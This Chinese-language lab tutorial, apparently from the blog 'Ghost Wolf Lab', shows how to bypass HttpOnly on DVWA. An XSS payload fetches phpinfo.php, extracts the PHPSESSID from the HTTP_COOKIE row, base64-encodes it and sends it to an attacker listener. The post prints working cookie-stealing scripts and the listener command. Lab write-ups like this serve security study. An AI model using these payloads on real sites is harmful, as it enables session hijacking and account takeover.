查看原文
其他

HttpOnly绕过

Sheep Ghost Wolf Lab
2024-12-02


介绍


  在防御XSS漏洞时,目标会启用HttpOnly标志以降低cookie被窃取的风险,常见的绕过方法有TRACE请求、响应中获取cookie、构建Ajax请求(前端漏洞触发后端RCE),今天介绍的是另一种方法。


部署


  在开始前,我们先来做个对比实验。

  Kali Linux IP:192.168.64.129

  DVWA:192.168.64.132

  先将DVWA靶机设置为low状态。

  在XSS反射型漏洞页面输入payload:

<script>alert(document.cookie)</script>

查看获取到的cookie,可以看到能够获取到PHPSESSID。

  我们可以通过浏览器自带的"应用"功能来修改目标状态为开启了HttpOnly。

再次输入获取cookie的payload,即可看到不会显示PHPSESSID了,这就是HttpOnly的功劳。



绕过


  既然对方开启了HttpOnly,那么我们应该怎样绕过呢?

  通过查看phpinfo文件,我们可以很轻松的看到显示的cookie内容,通过对比可以发现cookie是一致的。

  那么我们是否可以通过js构造请求,使其将phpinfo文件中的cookie窃取并发送到攻击者的主机上呢?

  答案是可以的,在Kali Linux主机中输入命令开启接收

python3 -m http.server 80

  我们先构造一个常用窃取cookie语句:

<script>var i=new Image;i.src="http://192.168.240.129/"+btoa(document.cookie);</script>

  执行后,Kali Linux会话会收到接收的cookie

  此时并没有获取到PHPSESSID,我们需要构造一个超长payload字符串:

<script> fetch('http://ip/phpinfo') .then(response => response.text()) .then(data => { // 开始字符串和结束字符串,用于过滤HTML内容 const startString = '<tr><td class="e">HTTP_COOKIE </td><td class="v">'; const endString = '</td></tr>';

// 起始字符串索引 const startIndex = data.indexOf(startString) + startString.length;

// 结束字符串索引 const endIndex = data.indexOf(endString, startIndex);

// 获取开始和结束字符串之间的字符串内容 const cookies = data.substring(startIndex, endIndex);

// 将获取到的cookie进行base64加密 const encodedCookies = btoa(cookies);

// 将编码的cookie发送到服务器 fetch('http://ip/' + '?encodedCookies=' + encodedCookies, { method: 'GET' }); });</script>

  将其缩为一行内容,然后修改phpinfo文件的IP地址和路径,并修改攻击者的受控主机IP地址:

<script>fetch('http://192.168.64.132/dvwa/phpinfo.php').then(response=>response.text()).then(data=>{const startString='<tr><td class="e">HTTP_COOKIE </td><td class="v">';const endString='</td></tr>';const startIndex=data.indexOf(startString)+startString.length;const endIndex=data.indexOf(endString,startIndex);const cookies=data.substring(startIndex,endIndex);const encodedCookies=btoa(cookies);fetch('http://192.168.64.129/'+'?encodedCookies='+encodedCookies,{method:'GET'});});</script>

  在DVWA环境中执行,即可在Kali Linux的会话中收到cookie。

  将其解密,即可获取cookie原文。


注意


该场景一是需要目标拥有phpinfo文件,二是phpinfo的文件路径在窃取cookie的应用子路径中,在本例中是窃取的DVWA,路径就是/dvwa/phpinfo,也就是说可以窃取的为DVWA和根路径,但是不能为其它路径。


结语


  该思路是一个外国博主Aleksi Kistaur在2021年提出,然后笔者在这个月顺便优化了下,也算是总结一下绕过HttpOnly的方法。












继续滑动看下一个
Ghost Wolf Lab
向上滑动看下一个

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存